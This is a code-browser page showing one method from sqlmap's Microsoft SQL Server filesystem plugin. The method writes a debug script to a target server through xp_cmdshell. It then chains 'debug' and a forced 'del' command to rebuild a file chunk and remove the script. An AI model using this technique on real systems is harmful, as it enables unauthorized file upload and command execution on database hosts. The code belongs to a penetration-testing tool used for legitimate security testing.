MCPcopy Create free account
hub / github.com/sqlmapproject/sqlmap / _updateDestChunk

Method _updateDestChunk

plugins/dbms/mssqlserver/filesystem.py:66–85  ·  view source on GitHub ↗
(self, fileContent, tmpPath)

Source from the content-addressed store, hash-verified

64 return fileLines
65
66 def _updateDestChunk(self, fileContent, tmpPath):
67 randScr = "tmpf%s.scr" % randomStr(lowercase=True)
68 chunkName = randomStr(lowercase=True)
69 fileScrLines = self._dataToScr(fileContent, chunkName)
70
71 logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr))
72
73 self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr)
74
75 logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr))
76
77 commands = (
78 "cd \"%s\"" % tmpPath,
79 "debug < %s" % randScr,
80 "del /F /Q %s" % randScr
81 )
82
83 self.execCmd(" & ".join(command for command in commands))
84
85 return chunkName
86
87 def stackedReadFile(self, remoteFile):
88 if not kb.bruteMode:

Callers 1

Calls 5

_dataToScrMethod · 0.95
randomStrFunction · 0.90
debugMethod · 0.80
xpCmdshellWriteFileMethod · 0.80
execCmdMethod · 0.80

Tested by

no test coverage detected